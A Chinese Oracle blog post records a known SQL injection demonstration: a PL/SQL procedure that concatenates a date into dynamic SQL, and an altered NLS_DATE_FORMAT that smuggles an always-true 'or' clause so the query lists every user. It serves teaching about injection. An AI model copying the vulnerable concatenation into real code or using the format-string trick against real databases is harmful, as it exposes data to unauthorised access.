ITPub博客

首页 > 数据库 > Oracle > [20170912]sql injection例子.txt

[20170912]sql injection例子.txt

原创 Oracle 作者:lfree 时间:2017-09-12 09:08:05 0 删除 编辑

[20170912]sql injection例子.txt

--//来之tom的例子,做一个记录.也许以后讲解需要!!

1.环境:
SCOTT@book> @ &r/ver1

PORT_STRING                    VERSION        BANNER
------------------------------ -------------- --------------------------------------------------------------------------------
x86_64/Linux 2.4.xx            11.2.0.4.0     Oracle Database 11g Enterprise Edition Release 11.2.0.4.0 - 64bit Production

create or replace procedure inj( p_date in date )
as
        l_rec   all_users%rowtype;
        c       sys_refcursor;
        l_query long;
begin
        l_query := '
        select *
          from all_users
         where created = ''' ||p_date ||'''';

        dbms_output.put_line( l_query );
        open c for l_query;

        for i in 1 .. 5
        loop
                fetch c into l_rec;
                exit when c%notfound;
                dbms_output.put_line( l_rec.username || '.....' );
        end loop;
        close c;
end;
/

SCOTT@book> show parameter nls_date_format
NAME             TYPE    VALUE
---------------- ------- ---------------------
nls_date_format  string  YYYY-MM-DD HH24:MI:SS

SCOTT@book> exec inj(sysdate)

        select *
          from all_users
         where created = '2017-09-12 08:47:16'
PL/SQL procedure successfully completed.
--//注意sql语句的输出.

2.修改环境变量定义:

SCOTT@book> alter session set nls_date_format = 'yyyy-mm-dd hh24:mi:ss"'' or ''a'' = ''a"';
Session altered.

SCOTT@book> exec inj(sysdate)

        select *
          from all_users
         where created = '2017-09-12 08:48:10' or 'a' = 'a'
TEST.....
WYL.....
BI.....
PM.....
SH.....

PL/SQL procedure successfully completed.

来自 “ ITPUB博客 ” ,链接:https://blog.itpub.net/267265/viewspace-2144828/ ,如需转载,请注明出处,否则将追究法律责任。

请登录后发表评论 登录
全部评论
熟悉oracle相关技术,擅长sql优化,rman备份与恢复,熟悉linux shell编程。

注册时间:2008-01-03

  • 博文量
    4006
  • 访问量
    7969769